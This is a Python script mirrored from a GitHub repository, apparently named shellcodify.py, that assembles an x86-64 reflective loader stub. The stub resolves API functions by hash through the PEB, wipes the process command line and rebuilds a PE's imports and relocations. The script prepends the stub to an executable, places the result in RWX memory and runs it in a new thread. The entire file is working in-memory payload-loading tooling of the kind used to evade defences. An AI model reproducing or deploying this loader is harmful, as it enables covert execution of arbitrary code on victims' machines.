mirror of
https://github.com/senzee1984/InflativeLoading
synced 2026-06-06 16:44:31 +00:00
Winslow
372 lines
13 KiB
Python
372 lines
13 KiB
Python
import ctypes, struct
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from keystone import *
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import sys
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# Remove argument line
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# ProcessParameters = PEB + 0x20
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# CommandLine = ProcessParameters + 0x70
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# Buffer = CommandLine + 0x8 (wchar)
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# Length = CommandLine + 0x0 (word)
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#
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CODE = (
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"find_kernel32:"
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" sub rsp, 0x8;"
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" xor rdx, rdx;"
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" mov rax, gs:[rdx+0x60];" # RAX = PEB Address
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" mov rsi, [rax + 0x20];" # RSI = Address of ProcessParameter
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" add rsi, 0x70;" # RSI points to CommandLine member
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" mov byte ptr [rsi], 0;" # Set Length to 0
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" mov rsi, [rsi+8];" # RSI points to the string
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" mov byte ptr [rsi], 0;" # Set Buffer to 0 0x13 bytes
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" mov rsi,[rax+0x18];" # RSI = Address of _PEB_LDR_DATA
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" mov rsi,[rsi + 0x30];" # RSI = Address of the InInitializationOrderModuleList
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" mov r9, [rsi];" # python.exe
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" mov r9, [r9];" # ntdll.dll
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" mov r9, [r9+0x10];" # kernel32.dll
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" jmp function_stub;" # Jump to func call stub
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"parse_module:" # Parsing DLL file in memory
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" mov ecx, dword ptr [r9 + 0x3c];" # R9 = Base address of the module, ECX = NT header offset
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" xor r15, r15;"
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" mov r15b, 0x88;" # Offset to Export Directory
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" add r15, r9;"
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" add r15, rcx;" # R15 points to Export Directory
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" mov r15d, dword ptr [r15];" # R15 = RVA of export directory
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" add r15, r9;" # R15 = VA of export directory
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" mov ecx, dword ptr [r15 + 0x18];" # ECX = # of function names as an index value
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" mov r14d, dword ptr [r15 + 0x20];" # R14 = RVA of ENPT
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" add r14, r9;" # R14 = VA of ENPT
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"search_function:" # Search for a given function
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" jrcxz not_found;" # If RCX = 0, the given function is not found
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" dec ecx;" # Decrease index by 1
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" xor rsi, rsi;"
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" mov esi, [r14 + rcx*4];" # RVA of function name
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" add rsi, r9;" # RSI points to function name string
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"function_hashing:" # Hash function name function
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" xor rax, rax;"
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" xor rdx, rdx;"
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" cld;" # Clear DF flag
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"iteration:" # Iterate over each byte
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" lodsb;" # Copy the next byte of RSI to Al
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" test al, al;" # If reaching the end of the string
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" jz compare_hash;" # Compare hash
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" ror edx, 0x0d;" # Part of hash algorithm
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" add edx, eax;" # Part of hash algorithm
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" jmp iteration;" # Next byte
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"compare_hash:" # Compare hash
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" cmp edx, r8d;" # R8 = Supplied function hash
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" jnz search_function;" # If not equal, search the previous function (index decreases)
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" mov r10d, [r15 + 0x24];" # Ordinal table RVA
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" add r10, r9;" # R10 = Ordinal table VMA
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" movzx ecx, word ptr [r10 + 2*rcx];" # Ordinal value -1
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" mov r11d, [r15 + 0x1c];" # RVA of EAT
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" add r11, r9;" # r11 = VA of EAT
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" mov eax, [r11 + 4*rcx];" # RAX = RVA of the function
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" add rax, r9;" # RAX = VA of the function
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" ret;"
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"not_found:"
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" xor rax, rax;" # Return zero
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" ret;"
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"function_stub:" # Achieve PIC and elminiate 0x00 byte
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" mov rbp, r9;" # RBP stores base address of Kernel32.dll
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" mov r8d, 0xec0e4e8e;" # LoadLibraryA Hash
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" call parse_module;" # Search LoadLibraryA's address
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" mov r12, rax;" # R12 stores the address of LoadLibraryA function
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" mov r8d, 0x7c0dfcaa;" # GetProcAddress Hash
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" call parse_module;" # Search GetProcAddress's address
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" mov r13, rax;" # R13 stores the address of GetProcAddress function
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"fix_iat:" # Init necessary variable for fixing IAT
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" xor rsi, rsi;"
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" xor rdi, rdi;"
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" lea rbx, [rip+0x1fc];" # RBX points to PE part of shellcode, now 346 bytes in total
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" xor rax, rax;"
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" mov eax, [rbx+0x3c];" # EAX contains e_lfanew
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" add rax, rbx;" # RAX points to NT Header
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" mov esi, [rax+0x90];" # ESI = ImportDir RVA
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" add rsi, rbx;" # RSI points to ImportDir
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" mov edi, [rax+0x94];" # EDI = ImportDir Size
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" add rdi, rsi;" # RDI = ImportDir VA + Size
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"loop_imported_module:"
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" cmp rsi, rdi;" # Compare current descriptor with the end of import directory
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" je module_loop_end;" # If equal, exit the loop
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" xor rdx ,rdx;"
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" mov edx, [rsi];" # EDX = ILT RVA (32-bit)
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" test rdx, rdx;" # Check if ILT RVA is zero (end of descriptors)
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" je module_loop_end;" # If zero, exit the loop
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" xor rcx, rcx;"
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" mov ecx, [rsi+0xc];" # RCX = Module Name RVA
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" add rcx, rbx;" # RCX points to Module Name
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" call r12;" # Call LoadLibraryA
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" xor rdx ,rdx;"
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" mov edx, [rsi];" # Restore ILT RVA
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" add rdx, rbx;" # RDX points to ILT
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" xor r8, r8;"
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" mov r8d, [rsi+0x10];" # R8 = IAT RVA
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" add r8, rbx;" # R8 points to IAT
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" mov rcx, rax;" # Module handle for GetProcAddress
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" mov r14, rdx;" # Backup ILT Address
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" mov r15, r8;" # Backup IAT Address
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"loop_imported_func:"
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" mov rdx, r14;" # Restore ILT address + processed entries
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" mov r8, r15;" # Restore IAT Address + processed entries
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" mov rdx, [rdx];" # RDX = Ordinal or RVA of HintName Table
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" test rdx, rdx;" # Check if it's the end of the ILT/IAT
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" je next_descriptor;" # If zero, move to the next descriptor
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" mov r9, 0x8000000000000000;"
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" test rdx, r9;" # Check if it is import by ordinal (highest bit set)
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" mov rbp, rcx;" # Save module base address
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" jnz resolve_by_ordinal;" # If set, resolve by ordinal
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"resolve_by_name:"
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" add rdx, rbx;" # RDX = HintName Table VA
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" add rdx, 2;" # RDX points to Function Name
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" call r13;" # Call GetProcAddress
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" jmp update_iat;" # Go to update IAT
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"resolve_by_ordinal:"
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" mov r9, 0x7fffffffffffffff;"
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" and rdx, r9;" # RDX = Ordinal number
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" call r13;" # Call GetProcAddress with ordinal
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"update_iat:"
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" mov rcx, rbp;" # Restore module base address
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" mov r8, r15;" # Restore IAT Address + processed entries
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" mov [r8], rax;" # Write the resolved address to the IAT
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" add r15, 0x8;" # Move to the next IAT entry (64-bit addresses)
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" add r14, 0x8;" # Movce to the next ILT entry
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" jmp loop_imported_func;" # Repeat for the next function
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"next_descriptor:"
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" add rsi, 0x14;" # Move to next import descriptor
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" jmp loop_imported_module;" # Continue loop
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"module_loop_end:"
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"fix_delayed_iat:"
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" xor rax, rax;"
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" mov eax, [rbx+0x3c];" # EAX contains e_lfanew
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" add rax, rbx;" # RAX points to NT Header
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" mov esi, [rax+0xf0];" # ESI = DelayedImportDir RVA
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" test esi, esi;" # If RVA = 0?
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" jz fix_reloc;" # Skip delay import table fix
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" add rsi, rbx;" # RSI points to DelayedImportDir
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"loop_delayed_module:"
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" xor rcx, rcx;"
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" mov ecx, [rsi+4];" # RCX = Module name string RVA
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" test rcx, rcx;" # If RVA = 0, then all modules are processed
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" jz delayed_module_loop_end;" # Exit the module loop
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" add rcx, rbx;" # RCX = Module name
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" call r12;" # Call LoadLibraryA
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" mov rcx, rax;" # Module handle for GetProcAddress for 1st arg
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" xor r8, r8;"
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" xor rdx, rdx;"
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" mov edx, [rsi+0x10];" # EDX = INT RVA
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" add rdx, rbx;" # RDX points to INT
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" mov r8d, [rsi+0xc];" # R8 = IAT RVA
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" add r8, rbx;" # R8 points to IAT
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" mov r14, rdx;" # Backup INT Address
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" mov r15, r8;" # Backup IAT Address
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"loop_delayed_imported_function:"
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" mov rdx, r14;" # Restore INT Address + processed data
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" mov r8, r15;" # Restore IAT Address + processed data
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" mov rdx, [rdx];" # RDX = Name Address RVA
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" test rdx, rdx;" # If Name Address value is 0, then all functions are fixed
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" jz next_delayed_module;" # Process next module
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" mov r9, 0x8000000000000000;"
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" test rdx, r9;" # Check if it is import by ordinal (highest bit set of NameAddress)
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" mov rbp, rcx;" # Save module base address
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" jnz resolve_delayed_by_ordinal;" # If set, resolve by ordinal
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"resolve_delayed_by_name:"
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" add rdx, rbx;" # RDX points to NameAddress Table
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" add rdx, 2;" # RDX points to Function Name
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" call r13;" # Call GetProcAddress
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" jmp update_delayed_iat;" # Go to update IAT
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"resolve_delayed_by_ordinal:"
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" mov r9, 0x7fffffffffffffff;"
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" and rdx, r9;" # RDX = Ordinal number
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" call r13;" # Call GetProcAddress with ordinal
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"update_delayed_iat:"
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" mov rcx, rbp;" # Restore module base address
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" mov r8, r15;" # Restore current IAT address + processed
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" mov [r8], rax;" # Write the resolved address to the IAT
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" add r15, 0x8;" # Move to the next IAT entry (64-bit addresses)
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" add r14, 0x8;" # Movce to the next INT entry
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" jmp loop_delayed_imported_function;" # Repeat for the next function
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"next_delayed_module:"
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" add rsi, 0x20;" # Move to next delayed imported module
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" jmp loop_delayed_module;" # Continue loop
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"delayed_module_loop_end:"
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"fix_reloc:" # Save RBX //dq rbx+21b0 l46
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" xor rsi, rsi;"
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" xor rdi, rdi;"
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" xor rax, rax;"
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" xor r8, r8;" # Empty R8 to save page RVA
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" xor r9, r9;" # Empty R9 to place block size
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" xor r15, r15;"
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" mov eax, [rbx+0x3c];" # EAX contains e_lfanew
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" add rax, rbx;" # RAX points to NT Header
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" mov esi, [rax+0xb0];" # ESI = BaseReloc RVA
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" add rsi, rbx;" # RSI points to BaseReloc
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" mov edi, [rax+0xb4];" # EDI = BaseReloc Size
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" add rdi, rsi;" # RDI = BaseReloc VA + Size
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" mov r15d, [rax+0x28];" # R15 = Entry point RVA
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" add r15, rbx;" # R15 = Entry point
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" mov r14, [rax+0x30];" # R14 = Preferred address
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" sub r14, rbx;" # R14 = Delta address
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" mov [rax+0x30], rbx;" # Update Image Base Address
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" mov r8d, [rsi];" # R8 = First block page RVA
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" add r8, rbx;" # R8 points to first block page (Should add an offset later)
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" mov r9d, [rsi+4];" # First block's size
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" xor rax, rax;"
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" xor rcx, rcx;"
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#" int3;" # Have bug on sub [r8], r14
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" nop;"
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"loop_reloc_block:"
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" cmp rsi, rdi;" # Compare current block with the end of BaseReloc
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" jge reloc_fixed_end;" # If equal, exit the loop
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" xor r8, r8;"
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" mov r8d, [rsi];" # R8 = Current block's page RVA
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" add r8, rbx;" # R8 points to current block page (Should add an offset later)
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" mov r11, r8;" # Backup R8
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" xor r9, r9;"
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" mov r9d, [rsi+4];" # R9 = Current block size
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" add rsi, 8;" # RSI points to the 1st entry, index for inner loop for all entries
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" mov rdx, rsi;"
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" add rdx, r9;"
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" sub rdx, 8;" # RDX = End of all entries in current block
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"loop_reloc_entries:"
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" cmp rsi, rdx;" # If we reached the end of current block
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" jz next_block;" # Move to next block
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" xor rax, rax;"
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" mov ax, [rsi];" # RAX = Current entry value
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" test rax, rax;" # If entry value is 0
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" jz skip_padding_entry;" # Reach the end of entry and the last entry is a padding entry
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" mov r10, rax;" # Copy entry value to R10
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" and eax, 0xfff;" # Offset, 12 bits
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" shr r10d, 12;" # Type value, 4 bits
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" add r8, rax;" # Added an offset
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"update_entry:"
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" sub [r8], r14;" # Update the address
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" mov r8, r11;" # Restore r8
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" add rsi, 2;" # Move to next entry by adding 2 bytes
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" jmp loop_reloc_entries;"
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"skip_padding_entry:" # If the last entry is a padding entry
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" add rsi, 2;" # Directly skip this entry
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"next_block:"
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#" add rsi, 2;" # Jump to the block size field of next block
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" jmp loop_reloc_block;"
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"reloc_fixed_end:"
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" sub rsp,8;" #
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" nop;"
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" nop;"
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" nop;"
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" nop;"
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" nop;"
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#" nop;"
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#" nop;"
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#" nop;"
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" jmp r15;"
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)
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def read_pe_file(file_path):
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with open(file_path, 'rb') as file:
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return bytearray(file.read())
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def print_byte_array(byte_array, line_length=20, max_lines=30):
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for i in range(min(max_lines, len(byte_array) // line_length)):
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line = byte_array[i * line_length:(i + 1) * line_length]
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formatted_line = ''.join([f"\\x{b:02x}" for b in line])
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print(f"buf += b\"{formatted_line}\"")
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print("......"+str(len(byte_array)-600) +" more bytes......")
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if len(sys.argv)!=2:
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print("Usage: python3 shellcodify.py calc.bin")
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pe_file_path = sys.argv[1]
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pe_array = read_pe_file(pe_file_path)
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ks = Ks(KS_ARCH_X86, KS_MODE_64)
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encoding, count = ks.asm(CODE)
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#print("%d instructions..." % count)
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sh = b""
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for e in encoding:
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sh += struct.pack("B", e)
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shellcode = bytearray(sh)
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print("Shellcode Stub size: "+str(len(shellcode))+" bytes")
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shellcode = shellcode + pe_array
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print("Shellcoded PE's size: "+str(len(shellcode))+" bytes")
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sc = ""
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#print("Payload size: "+str(len(encoding))+" bytes")
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print_byte_array(shellcode)
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ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
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ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
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ctypes.c_int(len(shellcode)),
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ctypes.c_int(0x3000),
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ctypes.c_int(0x40))
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buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
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ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
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buf,
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ctypes.c_int(len(shellcode)))
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print("Shellcode located at address %s" % hex(ptr))
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input("...ENTER TO EXECUTE SHELLCODE...")
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ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
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ctypes.c_int(0),
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ctypes.c_uint64(ptr),
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ctypes.c_int(0),
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ctypes.c_int(0),
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ctypes.pointer(ctypes.c_int(0)))
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ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
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